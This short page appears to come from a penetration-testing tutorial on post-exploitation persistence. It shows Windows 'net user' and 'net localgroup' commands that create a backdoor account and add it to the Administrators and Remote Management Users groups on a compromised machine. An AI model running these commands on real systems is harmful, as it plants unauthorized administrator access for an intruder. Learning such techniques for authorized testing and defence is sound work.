Add a User
Once we get a SYSTEM shell on the victim machine, we can add a user for persistence. For example, create user ret2basic:password1337
:
net user ret2basic password1337 /add
Add this user to "Administrator" group and "Remote Management Users" group:
net localgroup Administrators ret2basic /add
net localgroup "Remote Management Users" ret2basic /add
Last updated
Was this helpful?